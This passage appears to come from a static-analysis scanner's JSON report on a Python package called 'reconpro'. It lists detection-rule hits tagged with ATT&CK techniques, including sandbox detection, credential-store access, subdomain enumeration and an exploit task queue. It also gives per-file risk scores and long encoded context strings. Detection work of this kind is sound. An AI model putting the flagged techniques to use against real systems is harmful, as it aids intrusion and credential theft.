"micro-behaviors/data/source/property/read::result-dot-member-read", "conf": 0.9, "crit": 3, "desc": "Reads result through dot or arrow access", "spans": [ [ 6060, 13 ] ] }, { "id": "micro-behaviors/fs/proc/container::runtime-engine-keywords--docker", "conf": 0.86, "crit": 3, "desc": "References the Docker container engine", "spans": [ [ 1896, 6 ] ] }, { "id": "micro-behaviors/os/privilege/check::source-privileged-account-reference", "conf": 0.86, "crit": 3, "desc": "Source references a privileged account", "spans": [ [ 1035, 5 ] ] }, { "id": "micro-behaviors/process/create/workers::parallel-submit-call", "conf": 0.88, "crit": 3, "desc": "Submits a task to an executor", "spans": [ [ 5885, 11 ] ] }, { "id": "micro-behaviors/process/create/workers::parallel-thread-executor", "conf": 0.88, "crit": 3, "desc": "Uses a thread or async task executor", "spans": [ [ 5629, 18 ] ] }, { "id": "micro-behaviors/process/create/workers::worker-pool", "conf": 0.6, "crit": 2, "desc": "References a worker, thread, or goroutine pool", "spans": [ [ 386, 0 ] ] }, { "id": "objectives/anti-analysis/geofencing/target-gating::fqdn-substring-gate--rx-3", "atk": "T1480", "mbc": "B0003", "conf": 0.93, "crit": 3, "desc": "Corporate hostname word shard internal", "spans": [ [ 1232, 8 ] ] }, { "id": "objectives/anti-analysis/sandbox-detect/script::anubis-analysis-marker", "atk": "T1497", "mbc": "B0007", "conf": 0.9, "crit": 3, "desc": "Anubis sandbox marker string", "spans": [ [ 2294, 6 ] ] }, { "id": "objectives/credential-access/credential-manager/store-api::vault-cli-print-token", "atk": "T1552.001", "mbc": "E1552", "conf": 0.84, "crit": 3, "desc": "HashiCorp Vault CLI name", "spans": [ [ 1832, 5 ] ] }, { "id": "objectives/discovery/network/enumeration::certificate-search-query", "conf": 0.88, "crit": 3, "desc": "crt.sh JSON certificate query", "spans": [ [ 7135, 37 ] ] }, { "id": "objectives/discovery/network/enumeration::subdomain-result-field", "conf": 0.86, "crit": 3, "desc": "Certificate subdomain result field", "spans": [ [ 7495, 12 ] ] }, { "id": "objectives/discovery/network/enumeration::subdomain-result-split", "conf": 0.86, "crit": 3, "desc": "Splits discovered subdomain results", "spans": [ [ 7537, 17 ] ] }, { "id": "objectives/discovery/network/scan/distributed::exploit-task-queue-name", "atk": "T1046,T1090", "conf": 0.9, "crit": 3, "desc": "Queue name declares exploitation work", "spans": [ [ 2253, 14 ] ] }, { "id": "micro-behaviors/communications/http/client/library::urllib-request", "conf": 0.8, "crit": 3, "desc": "Imports Python urllib.request HTTP client", "spans": [ [ 340, 14 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-urlopen", "conf": 0.7, "crit": 3, "desc": "Calls urllib.request.urlopen", "spans": [ [ 3385, 22 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-word", "conf": 0.75, "crit": 3, "desc": "References Python urllib HTTP client", "spans": [ [ 3260, 15 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urlopen-response-body-read", "conf": 0.9, "crit": 3, "desc": "Reads urllib response body", "spans": [ [ 3400, 81 ] ] }, { "id": "micro-behaviors/communications/http/url/scheme::cleartext-http-url-code-literal", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Code embeds cleartext HTTP URL literal", "spans": [ [ 13221, 37 ] ] }, { "id": "micro-behaviors/communications/socket/create::socket-module-import", "atk": "T1071", "mbc": "C0001", "conf": 0.6, "crit": 3, "desc": "Imports Python's socket module", "spans": [ [ 256, 13 ] ] }, { "id": "micro-behaviors/crypto/certificate/usage::certificate-ref", "conf": 0.5, "crit": 2, "desc": "References certificate terminology", "spans": [ [ 17235, 0 ] ] }, { "id": "micro-behaviors/data/serialize/json::json-loads-call", "conf": 0.9, "crit": 3, "desc": "Parses JSON data with Python", "spans": [ [ 7307, 10 ] ] }, { "id": "objectives/command-and-control/infrastructure/domain/malicious::short-domain-url-pattern", "atk": "T1071.001", "mbc": "C0002", "conf": 0.8, "crit": 3, "desc": "Very short domain in URL", "spans": [ [ 7127, 15 ] ] }, { "id": "objectives/lateral-movement/brute-force/password::service-account-postgres", "atk": "T1110.001", "mbc": "E1110", "conf": 0.85, "crit": 3, "desc": "Service-account token postgres", "spans": [ [ 1764, 8 ] ] }, { "id": "objectives/lateral-movement/brute-force/password::service-account-redis", "atk": "T1110.001", "mbc": "E1110", "conf": 0.85, "crit": 3, "desc": "Service-account token redis", "spans": [ [ 1737, 5 ] ] }, { "id": "micro-behaviors/communications/dns/lookup/resolver::socket-dns-lookup", "conf": 0.8, "crit": 3, "desc": "Socket-based DNS lookup capability", "uses": [ 5 ], "spans": [ [ 11158, 18 ] ] }, { "id": "micro-behaviors/communications/http/client/library::urllib-request-client-import", "conf": 0.82, "crit": 3, "desc": "Imports Python urllib.request through direct or from-import syntax", "uses": [ 31 ], "spans": [ [ 340, 14 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-request-object", "conf": 0.82, "crit": 3, "desc": "urllib Request object creation", "uses": [ 6 ], "spans": [ [ 3260, 22 ] ] }, { "id": "micro-behaviors/communications/socket/create::socket-creation", "atk": "T1071", "mbc": "C0001", "conf": 1.0, "crit": 2, "desc": "Socket creation patterns", "uses": [ 11 ], "spans": [ [ 11214, 0 ] ] }, { "id": "objectives/discovery/network/enumeration::certificate-transparency-domain-search", "conf": 0.94, "crit": 3, "desc": "Searches certificate records for a domain", "uses": [ 13, 27 ], "spans": [ [ 6902, 6 ], [ 7135, 37 ] ] }, { "id": "objectives/discovery/network/enumeration::certificate-subdomain-collection", "conf": 0.92, "crit": 4, "desc": "Collects subdomains from certificates", "uses": [ 28, 29, 46 ], "spans": [ [ 6902, 6 ], [ 7135, 37 ], [ 7495, 12 ], [ 7537, 17 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-urlopen-call", "conf": 0.82, "crit": 3, "desc": "Calls Python urllib urlopen", "uses": [ 7, 32 ], "spans": [ [ 3385, 22 ] ] }, { "id": "micro-behaviors/communications/http/request/client::http-client", "conf": 0.7, "crit": 3, "desc": "Uses common HTTP client APIs", "uses": [ 33 ], "spans": [ [ 3260, 15 ] ] }, { "id": "micro-behaviors/communications/http/request/client::request-python", "conf": 0.9, "crit": 3, "desc": "Sends an HTTP request with a Python client library", "uses": [ 44 ], "spans": [ [ 3260, 22 ] ] }, { "id": "micro-behaviors/fs/proc/container::runtime-engine-keywords", "conf": 0.86, "crit": 1, "desc": "Container engine name literal present", "uses": [ 19 ], "spans": [ [ 1896, 0 ] ] }, { "id": "micro-behaviors/fs/proc/container::runtime-keywords", "conf": 1.0, "crit": 1, "desc": "Container runtime name literal present", "uses": [ 51 ], "spans": [ [ 1896, 0 ] ] }, { "id": "micro-behaviors/os/container/namespace::runtime", "conf": 0.9, "crit": 3, "desc": "Container runtime library usage", "uses": [ 52 ], "spans": [ [ 1896, 6 ] ] } ], "type": "python" }, { "id": 95, "mol": "K(Te)O₅(AsCa₃ErPrXe)H₅(Cm₁₀Db₁₀FOs₃Po)Md", "sha": "0952492fc767612290c10a34a6c26548b511c00171b5303b09b750bd7700a780", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/supply_chain.py", "risk": 21, "size": 39984, "type": "python", "depth": 1 }, { "id": 96, "mol": "O₂(PrXe₂)H₄(Db₂Os₂PoTi)", "sha": "5ff0d25b39bd2932158596ca2565c5aa1e92c3d319a58ff2e3b84a65110d60b8", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/swarm.py", "risk": 8, "size": 44768, "type": "python", "depth": 1 }, { "id": 97, "mol": "K(Am)O(Xe)H(Os)", "sha": "e28282e1adfe37641c6737f7880e22bf899909836a5884421973b6ad4ed60f96", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/telemetry.py", "risk": 3, "size": 6385, "type": "python", "depth": 1 }, { "id": 98, "mol": "H₂(DbF)", "sha": "47dac3d8fce9df91cd42ae07d6cade54b6b20c05d0e595a15e0bbbffa8ff4805", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/theme.py", "risk": 2, "size": 21720, "type": "python", "depth": 1 }, { "id": 99, "mol": "K(Te)O(Ca)H₃(Cm₇DbF)", "sha": "d33fa5311aa04b47a6bec2dd4669b519832e18222d60ed055571d0f4d6438707", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/threat_feeds.py", "risk": 8, "size": 33353, "type": "python", "depth": 1 }, { "id": 100, "mol": "K(Te₂)O₄(CDyLaXe₃)H₂(Cm₇Db₄)Md₃(InPa₂)", "sha": "890006299f81ff21433b2ba6d4c2df45b506264f9cd2a9b4850dd8a13f8f7690", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/threat_intel.py", "risk": 16, "size": 49854, "type": "python", "depth": 1 }, { "id": 101, "mol": "K(Li)O(C)H₅(CmDb₁₀F₂OsPo₄)Md", "sha": "e198ecd14cb2756f83fb5835d1586e539be72941f392ab8792b398fc12bacae8", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tool_sdk.py", "risk": 16, "size": 28675, "type": "python", "depth": 1 }, { "id": 102, "mol": "K₂(AmLu)O₂(CEu)H₃(Cm₁₆Db₄Po₂)", "sha": "4ca2aca2c97488f94d0c4b5f5543bf7fea6b7b29a772ecd0af8d944a6e1d2bf3", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tunnel_detect.py", "risk": 14, "size": 39209, "type": "python", "depth": 1 }, { "id": 103, "mol": "H₂(CmDb₂)", "sha": "fec74e92345e52efcb17c3fb996b967de4593d98c8a1f7a57bd2a4d72b6e1969", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/utils.py", "risk": 4, "size": 8791, "type": "python", "depth": 1 }, { "id": 104, "mol": "O(Eu₂)H₅(Cm₁₉Cr₂Db₈F₂Po₂)Md₂(In)", "sha": "26cc5ffe0411d95354e9cf7affed653aef86418e1cc4a0d763a313ca5fc66e0b", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/webhooks.py", "risk": 12, "size": 33273, "type": "python", "depth": 1 }, { "id": 105, "mol": "O₃(ErPrXe₂)H₅(Cm₃CrDb₅F₂Os)Md(In)", "sha": "e92192d034fea6c20c31a56a3d73bde2b638c7369a6afcff7acfc675d76e56fd", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/wishes.py", "risk": 13, "size": 55553, "type": "python", "depth": 1 }, { "id": 106, "mol": "O(I)H₂(Db₅F₄)", "sha": "df05e27b5ebce81d0eb6f2bff810bbe9a299bc72408f20c554f354f02809a0bd", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/workspace.py", "risk": 7, "size": 10968, "type": "python", "depth": 1 }, { "id": 107, "mol": "Md", "sha": "50324d7ee415dda1424a53b9aef954d984744c1e1e16a9cc7ba671a01ca91230", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/integrations/__init__.py", "risk": 1, "size": 426, "type": "python", "depth": 1 }, { "id": 108, "mol": "O₃(DyEu₂Pr)H₄(Cm₁₂Db₅FPo)", "sha": "607643e485a26f617c3e48c69eda057dce137e460e56bc0485f6e8062cde07ee", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/integrations/github.py", "risk": 11, "size": 18567, "type": "python", "depth": 1 }, { "id": 109, "mol": "K(Li)O₃(Eu₂PrXe)H₃(Cm₈Db₅F)", "sha": "ebdf0aa4ddfa6c97981c0fde5f8355ec2411ee6fcc2583c3d197b4a88b520a91", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/integrations/jira.py", "risk": 9, "size": 14883, "type": "python", "depth": 1 }, { "id": 110, "mol": "O(Eu)H₂(Cm₉Db₄)", "sha": "d515afb7d955cd115fe8fed759001b1603c749c898fc6e5459fd3c852942b8e4", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/integrations/pagerduty.py", "risk": 5, "size": 2891, "type": "python", "depth": 1 }, { "id": 111, "mol": "O₂(Eu₂Pr)H₃(Cm₈Db₄F)Md", "sha": "ed84337a52cff58127a73ceb0389f45bfee66961b9ed8a240754d7f90cf63897", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/integrations/slack.py", "risk": 9, "size": 14552, "type": "python", "depth": 1 }, { "id": 112, "mol": "O(Eu)H₂(Cm₉Db₂)", "sha": "24158cb91e0e4c825a09a1b2d9cb936b8f65782739a0771bbbb13f1a9f899d70", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/integrations/splunk.py", "risk": 5, "size": 2040, "type": "python", "depth": 1 }, { "id": 113, "mol": "O₅(C₂DyEu₂PrS)H₄(Cm₁₀Db₆F₂Os)", "sha": "07f4da61a13347b3d0710361bc66ce3e430d105807a7bc0b9bc19e9d4aab227c", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/integrations/zai_stream.py", "risk": 14, "size": 15891, "type": "python", "depth": 1 }, { "id": 114, "sha": "ac4cfad8fe37999a1021c56e286a0325ef7786e90ea750a557ea255d2b3aed53", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/__init__.py", "risk": 1, "size": 1806, "type": "python", "depth": 1 }, { "id": 115, "mol": "K(Te)O₄(As₂CaPrXe₂)H₅(Cr₂Db₄FOs₂Po)Md₂(Pa)", "sha": "ff763405a9d4dcef81d00f494f0c5749c8c04d6ee99174513405ab66388bb180", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/ast_analyzer.py", "risk": 17, "size": 24266, "type": "python", "depth": 1 }, { "id": 116, "mol": "O₉(Ca₂ErAsCEuLa₂PrSXe)H₄(Cm₁₆Cr₃Db₁₀Os₂)Md₂(In)", "sha": "96524a81c7c2edd7ae80cbb82b2c5099c3f1e08ecf7a2e7718be4fc37a2191d8", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/auth.py", "risk": 94, "size": 49306, "type": "python", "depth": 1 }, { "id": 117, "mol": "O₃(C₃ErPr)H₃(Cm₄Db₂Os)", "sha": "970a304200b6d31e62e508b2ee84e2022e83b61003fe8840d0082470cd4a3a30", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/bot.py", "risk": 49, "size": 16471, "type": "python", "depth": 1 }, { "id": 118, "mol": "O₄(CaLa₂PrS)H₃(Cm₉Db₃F)Md₂(Pa)", "sha": "9bb762c6e2633d19a3f5e59b852c745d9b524247e940ec24b538fe52d019dcd3", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/chain.py", "risk": 13, "size": 12763, "type": "python", "depth": 1 }, { "id": 119, "mol": "K(Li)O₅(CCa₂LaPrXe)H₄(Cm₁₁Db₇OsPo₂)Md", "sha": "92599c2f6c8d8c96bf6865fc93c1ee1d7ece6eacdb8ccc46925485cad4a327be", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/cloud_recon.py", "risk": 17, "size": 48208, "type": "python", "depth": 1 }, { "id": 120, "mol": "K(Li)O₅(AsCaLaPrXe)H₃(Db₄F₄Os₂)Md", "sha": "b4b7fa3777753a1a4231daad147961435b42e5b3f69db62ce2249acab177f9c0", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/container_sec.py", "risk": 15, "size": 51927, "type": "python", "depth": 1 }, { "ctx": [ { "b": "a%Fi#pGx[Zr9@0-k#7fzoDXg\u003cwozZ1aMv{oavy6\u003cwPz(nwmoN*az2!fx(4)ivruj4zxJC5vqY%]y-)n1By!%7x(v(iclNwzzfoV6BzkVhe^.}-wN/T@p\u0026ZE%B#.fge?^Rtl$HEKv@#=mvqYP#B7]Gly*?A%B0b4dxj#xfv@bN{B7Gznz!pb4z*2YjBrCa5Byuq6CXgVaBAg/ix(v(iv}Yp*zE)T9iTM#Lf!KOppe-omB-88dy?W^1avG^.wN/*@z/b[8atLL(nk@L+av{6LwmY^7lVmcVA=-A\u003exKL^@wO-FSwPRG[BzkVh3lQDEe*abcze0)2avx*JzF\u003c34avG^.wN/*@z/b[8at+X[nKDiGaxiG3zE)Sbl$HEKv@#B6zxIUZA+/lbA%:3jh7*1xr8=W)avxZXBzku3v{%E\u003cax9w[xjkW@xl4B1xN6}cat$?{rz(Hkp*[DVavQfTz!9N1xcoMPvqY%]y\u0026Y}aau7[}lUHQWyH}30rb#z+B7P07avQfTz!9N1xcoGHB-Ra3arSS@axJb-q/ueYwPP4:A:-/@avf)Ny\u003cy8oA%-mJB-I4oB97@ex\u003c@jAFrRg5wPzYiwQ5rdA=br4ay]55wO#3\u0026zEWx(B1N!za%EwaA=k!quTEz/BAIRnuTB{\u0026ze:AlBrC1fzF%S9BzkVhA%-m*ze:AlBrC43B7El^3tBu@z/P}xxKL%}y?Wt=x(d*cA=-BsB8L}6x(d*cA=-Bvvrue\u0026x(d*cA=-BAwErc*AbP=saAITBBZ]I2x(d*cA=-BCx(dz*x(d*cA=-BDA+]MavLhRdA=U!0w].*baAR)Fx(mMax(d*cA=-A\u0026zH0=Ql${dMefES2B95@QpJgz\u0026z/f01efE]mAbo7)3tar%z6gC-xMOunuU\u003cd@wPw]cze:AlBrCmsBz$PaA=kz#efEz@zE^E0xdLfowObv[y\u0026\u003c32x(dNawPwa+3l{XMM5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!3l{VXni{0Cmnd5!nK(Jwr8(*+qY[E]r6-\u0026pq:?3raMwVF\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!", "ln": 0, "col": 1, "line": 1 }, { "b": "C{3{ivR6v%asIqNvQ%y]vqfR2dj#-pz/fhsar?dnarR^HarR^HarR^JxLz9)eOe*wA=k]xaAIWmwn=r[x(m#mvrb{4xKLZ[zddE2B0bykaARKuy\u0026Z.nx\u003e}o5wnVD#vrsmQar?dnarR^HarR^HarR^Jx(vJ@zE\u003evwlVlBxy\u0026*^#BAh8hwGTxoqY]KXvpKj[e*pSBarR^HarR^Qed9HxarR^HarR\u003eBvr=c}vpA!:uU\u003cp\u003exlm/hiV{spefD5TarR^HboP(NlM!9qgC]HZarR^HarR^JB9hLyx\u003e7\u003c}B-Q]avpA!:uU%H{b03\u00264g+o:(ar@1BvpA!:B0bNrx(+zkz/fhgvrb{4A::01azCZoy?ml[BrCWCvp\u003ca=v*Tt3arR^HarR\u003eBvr=d0B.bPsuU\u003cp\u003exlm/hiV{gngB%T\u003earR^HboP(NlM!9qgC{pAqaae4y?W:2Bp6ckarQ", "ln": 1416, "col": 38, "line": 40 }, { "b": "arR^HarR^HAW1Z@eQx95iw1J-g+ZFetRmiKarR)KC4CYtaz+$lxcq20vR6u#Cwhejazu4txK#753lQDlarR^HaycJ9arR^HEjLZFarR^JxMOunuUB1VwmY^*v@DK4A=-G^aBsCrarR^HarR^JzEEx[b03?\u003cnk@L+av{6LwmY^7lVmcVA=-A\u003exKL^@", "ln": 2337, "col": 5, "line": 58 }, { "b": "uVp3%w[=H3B0rT/tm8F}arR^HarR^HarR\u003egeG#.*b3lA[z*b=kwN)wVC{j^Zb3lA^z/Q5gA+5-(a$K\u0026Xss)AZvqEI!p:dB$arR^HarR^HarR^Hb3lA)A+Pf2zEEukrz(HmefDcseKKV4Bz(1uefDcseMl+5xcF(Hb3lA+vrt{4ed9HxarR^HarR^HarR\u003egeK:[@x(1$Aar\u003c]tlOY\u0026par\u003c]tq!p2\u003ex(v(vnN%1@ar\u003c]tqE%\u0026\u003cwPI@BnN%1@3i", "ln": 2766, "col": 27, "line": 68 }, { "b": "fFtdfaA8oya{]CnarR^HarR^HarR\u003eBB.(eleN\u0026Boaz2C2z!9N1xcqziwPzu8Bzbkdx(n37A=$(cayX]7Cv+u6aAz4kB.bSoB1.MBB8V5nB7Gzna{]CnarR^HarR^HarR\u003ervrcy5wPF#cx\u003eg:=zxJUhw]zZbvruj4zz052CYW$qzdNKeaAITovqH2", "ln": 3491, "col": 62, "line": 87 }, { "b": "z/fg{arR^Hx(mD}v{%E$AV/pjaz2C2z!9A\u0026aA8oywO#0#D2N\u003epwft\u00261D2dzcwofvg3lQDlavZo\u0026zfoV6iV{%wssCvQat7)laAe-NdiH8.y\u0026r@wc#ZOVdjCPDarR^Ja%Evpao", "ln": 8653, "col": 66, "line": 209 }, { "b": "arR^HA+funA=90Ne?^RParR!sA+fkKavG{NBx-*dAX5tEzGGebjS]913lQDlazbLjay/7cx(k57vrt{s3lQDlarR^HazbU9AA={^t{8oMw].E5e[X:qc$u{wattk!d\u003ccLNarR^Hy?mG%Bz8^Waz+Rbc$D+dvjqKaarR!rzGG]qAcSM?attA43lQDlazbLjay/tjzGE1nzxJLiwPotCvqH6$B0@E#3lQDlarR^HaAeC^ay/tjzGE0Oaz+Rbxlm!]arR^HarR^Hx\u003ewGbau*]4iTM#LarR^HarR^HarUlkBAhqsC{1X4aAeCMaz\u003eLexFaatxef", "ln": 8777, "col": 5, "line": 215 }, { "b": "vrt{s3lQDlarR^HaAz4nB-IvxfFk3^arR^Hw].E5auZ\u0026KfKk!JatL/j3lQDlazbLjayVEczxJE#ByviqarR^HarR^Hw].E5tvH\u003eXd)k1f3lQDlaz+Rbxlm/fjS[MLzyx47ByuQ9arR^HwO#Qgz/x$AjS(BhfBw{BarUomAV!\u003egB-8pzx(k59A+fkK3lQDlarQ", "ln": 9562, "col": 13, "line": 241 }, { "b": "jrMyu3lQDlarR^HaAz4nB-IvxfFk3^arR^Hx\u003e5nGaAIWxc$swHasH.xeG=+%azbLjay=KdzxJLiwPotCvqH6$B0@E^atj\u0026=zxHzKc#HdVatCq]3lQDlaAz4nB-Ivxx\u003e4FS3l{XMM5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026/%", "ln": 10252, "col": 10, "line": 268 }, { "b": "zF7NCa%EvparR^Kax8#\u003eB.\u003eGdwGUM4v@C)(zF77oq:\u003c5Kmn$DNx(k4Ype-oRBZ!)1zddc@az+E}wO=z{arR^HB7F\u003c4wPP4TayVJ[mmf%wr3jN{r6.YnarR^HboPrYB7C", "ln": 10980, "col": 56, "line": 279 }, { "b": "zeBieazCZol@3V6BAIFswO=6#xcuh:LPTEAB7D}qzGxxbB7]-gC4AiEl@3VjB75V(dgdguarUbHg9w.5vQTs?hz^3}gCSJVv@C)?d05%fA+ftwe[wK6z!9Acdk2TZBAh8mc)y!#dgdguarR)Kq/DL!BrCpnBz\u0026p1mNFpMfF+Nev@Dj6y?Wr}BrCydvR6v%asI8nCPX[2ay/7[A=SvmvpJ$13lQDlaz+E}wO=AgjS)%m3lQDlay/8czFJQ2x)KtkjS(Ts3lQDlazbLjazz%jzxJ$dzF9JefF1t.wO@]9gCQygay/8czFJQ2x)KttiTM#LarR^HarUGevR6v%e[5ZrwO#3bvLY=zx/Y@Jd\u003cetnB-7#4B7]@it}3a6arR^Kaw^8\u0026AaJ]$ayMy5z/]@twPw]fvpA!:azbLjaAz44B8$]fvR*q%arR^HwO#0@wmYpUwn=r[x(k4Raz8*AcOu=0yhW*7c#rs3wO=ApEj/8Qw[=6lvruQ1v@2T@e[n*pa{[V1arR^Kavpu}wI4.fC4CFjvSD3*yH?vczvdHearUclwNPv+z*c7wjS)%m3lQDlazbLjazAwHy**^:y-)Cfaz2CkzdN-@By=\u003epvpA!:B16cSarR^HarR^HvSD3*yH?vczz2vpAaJ]$d0(pz", "ln": 11095, "col": 24, "line": 282 }, { "b": "arR^HarR^Jy**^:y*R0\u0026zFa68b03\u0026.wO@]jvpA!:dj+/GarR^HarR^HarR^JwmYm?wmYpUvTi6bB0rT/vQTs?hz^3}gCSGLv@C)?c#rs3wO-Ftar\u0026@)asXGZeO]0oc#rs3wO-!rb{ke@dk2pBCQL0(3lQDlarR^HarR^Har\u003exmBAhqsC{ko(A=l8rwgg/axKL^@z/e][zGG]qAcS\u003cFvpA!:dj=O$dj+/GarR^HarR!Pdgcz8arR!EwPS6nzxKokarR^Hao", "ln": 11683, "col": 6, "line": 298 }, { "b": "b03?{3lQDlarR^HarR^Har\u003cl.v}V#Mpe-oPB.bPsay!\u00262A+P9aaBV48i3qWABAnMMvQTs?gCQyiavg8(f!:.\u0026Ac0dAAc3bwwNPA#y?W:2BsXKU3lQDlarR^HarR^Har\u003e]vvrrSaB0b]!gC{pwfln-*r9i9xA+frhz/fScB0a$3zxJB$A=MBFEL\u0026\u0026nayYRrwPF#9vpJ$6a{]CnarR^HarS9:3lQDlaBKO73s)ZWayxh7zfoV6By!/)wNPaXA:F", "ln": 12353, "col": 24, "line": 312 }, { "b": "3lQDlar@16wPRQ7wfrP/avoHTwI#v/x(k54ay/LnBz(1sxK$Q.wPwb2arR!ohz!=OwNPaXA:J##y-\u003e\u003e-vQTs?hz^3}hz!#.v@C)?d05%fA+ftwe[wK6z!9AcdgdguarR)Ko\u003ewAWz!6$CiV{$8CPZNnv@C)(zF782v@=HeB0bsxy\u0026\u003cxgy?j-5wNPaXA=RNgarR!uwQ4M(xMXidB09Q*txsv=A+ft%x/Y@Ug*I.EwQ2QLazbLjazz%jzxJ$dzF9JefF1t.wO@]qwN/:(Bsw:-g:#YqarR^HboPY(BzbP6atV53nm=juwPw]iA+5:4x(mMac#-:rzfo@eBzkVhaz2C2z!9N1xdjfgarR^Kaxi2=aA8phwPw]iw/$I8B7GCoz!pb3wO#i{zxJR7vpS}\u0026B0b4iv@C)?B0a}aBAm^iarR!uwNPaXA:J)0BrAZ?toWf3qE%\u0026\u003cwPI@BnN%1@ar\u003c]trb#zSwI3F:a$K\u0026Xss()UA=L-cvruj4", "ln": 12672, "col": 31, "line": 321 }, { "b": "wfs2Ta%FTOz!T8q3lQDlarR^Har?{LazCBgvRG{bjV%]ifD}SJy\u0026:egb3YjlazbLjayY5bazCZovRGZ*A^q2kwN/:(Bp6ckarS9u3lQDlaAz4nB-IvxDKp(rarR^HarR\u003eIwN/y\u003ex(Oobb03?\u003co)7n]x(E)1av]Ehp-%B.vpS}\u0026az2C2z!9N1xcq55BzbP6B0rdx", "ln": 13715, "col": 22, "line": 340 }, { "b": "arR^HarR^HarR\u003etCWUDdy?j!Kaz8*1eLZk4v}vXzvpA.3gbBn8tpgKzaswoVe]2rszywZpq=1?:x\u003ewF$au.\u003egcM\u003c=VwO=B0asybOlmi)/z/M$gazCZoCw7YjwPI*0v}t", "ln": 15136, "col": 7, "line": 375 }, { "b": "arR^HarR^HarR^Har\u003eucy\u0026\u003c8)B7GulwO#0?uU%\u003cdiV}TvzGEpqasXG*fFCgfazbLjay(QezxJF3y\u0026\u003c9bt}us9arR^HarR^HarR^HarR^JBz(nfy*Ro#zdN6}b03\u0026!z/]@dd06JFc$D[9ByxktefDX%ed9HxarR^HarR^HarR^HarR\u003eqvqYR1x\u003ehs0b03?\u003cf^3", "ln": 16742, "col": 4, "line": 415 }, { "b": "arR^HarR^HarR\u003eIz//A7uVZ10wNxH5iV@DYB-7.rB9hsFA9BI%wO=D%uVNz%azbLjaAeDqzxJ!sy\u0026\u003cw#vRG{\u003eAa9E3B15T.gas:YarR^HarR^HarR^HarR^Hb4s$#woR-#Bz8\u003cVar\u0026M-vRG}9aAg[jaAz4kB.bSoaAg+6AW04warR^HarR^HarR^HarR^Hb5N", "ln": 17235, "col": 7, "line": 424 }, { "b": "zy=]HBAIFswO-G2zEWP}wGUI(ByuqazxK4mwGU@2D2dzcwft@8v@#B6zvdHearUxdze-\u0026}wNPaXAV^H/B98CBv@%txvpK73b0FsWnjVn}efD]6attt?fF1t3gby:ratCq/ar@1JD2NsCay/t2wH[%lyJBSnefFUqefG1BAs9*harUSiD2dzcwfs2TB7F\u003c4wPOn4arR^KavxNNv%8P@By=O8xK$W?B9hsbarR^HAa9l(wPP4TazCt5A9)o\u0026vpS}\u0026as!NNvr(WcvpPY/arR!pxLRWiz6g$", "ln": 17977, "col": 17, "line": 441 }, { "b": "azCZonKDiGaz24@zY\u003c1cD2dzcwfJMiarR^HarR^Hb57L7A9)WdA=\u003e(lB-I4qiV@+RarR^HarR^HarR^Hb6n9HwG\u003ceTa#*X[mpQ1Haw#=\u003cB.bSodiZqIarR^HarR^HarR^Hb4CL4wG\u003ceTa$$h(3lQDlarR^HarR^Har\u003erewN/H%B.@r-az8/KCZA}lyJBSniXSynEiHiHarR^HarR^HarR^Hb57O0zGGP8x\u003eqreiV]R2CRy%xg9v#1gby:oa$K6zarR^HarR^HarR^JB7GulwO#0?b03?\u003cfNbo9fFK+53lQDlarR^HarR^Har\u003e=kD2dzcwm61YCP]f\u003eAaa3dz^^fexK#Apdj+/GarR^HarR^HarR^JAaa3dz^^f-vrk{)x^bOXAaa3dz^^fewmYm?wmWekvrk{)x^b8JwPz*fA=Tw/A+fiavpJ\u003c)dj+/GarQ", "ln": 18357, "col": 27, "line": 450 }, { "b": 